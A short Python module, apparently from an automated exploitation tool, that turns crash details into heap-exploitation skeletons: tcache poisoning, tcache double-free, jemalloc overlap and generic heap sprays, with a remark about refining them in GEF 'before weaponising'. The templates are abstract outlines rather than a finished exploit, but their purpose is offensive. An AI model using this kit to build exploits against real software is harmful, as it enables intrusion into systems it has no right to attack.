""" Heap exploitation kit — produces target-allocator-aware spray templates. Supports glibc ptmalloc2 (default), tcache, jemalloc, and a generic fallback. The Executor uses the resulting template as a starting point for GDB+GEF-driven manual confirmation. """ from __future__ import annotations from typing import Any _TEMPLATES = { "ptmalloc2": ( "# tcache poisoning skeleton\n" "for i in range(7):\n" " free(allocate({size}))\n" "free(target_chunk)\n" "overwrite_fd(target_chunk, target_addr)\n" "victim = allocate({size}) # returns target_addr\n" ), "tcache": ( "# tcache double-free skeleton\n" "a = allocate({size}); b = allocate({size})\n" "free(a); free(b); free(a)\n" "x = allocate({size}); overwrite_fd(x, target_addr)\n" "allocate({size}); allocate({size}) # returns target_addr\n" ), "jemalloc": ( "# jemalloc run-overlap skeleton\n" "spray = [allocate({size}) for _ in range(0x40)]\n" "trigger_uaf(spray[0x20])\n" "spray2 = [allocate({size}) for _ in range(0x40)]\n" ), "generic": ( "# generic massage spray\n" "spray = [allocate({size}) for _ in range(0x100)]\n" "trigger_vulnerability(spray[0x80])\n" ), } class HeapExploitKit: def spray_template(self, crash: dict[str, Any]) -> dict[str, Any]: allocator = crash.get("allocator", "ptmalloc2") size = crash.get("chunk_size", 0x80) tpl = _TEMPLATES.get(allocator, _TEMPLATES["generic"]).format(size=hex(size)) return { "allocator": allocator, "chunk_size": size, "template": tpl, "notes": "Refine with GEF (`heap chunks`, `heap bins`) before weaponising.", }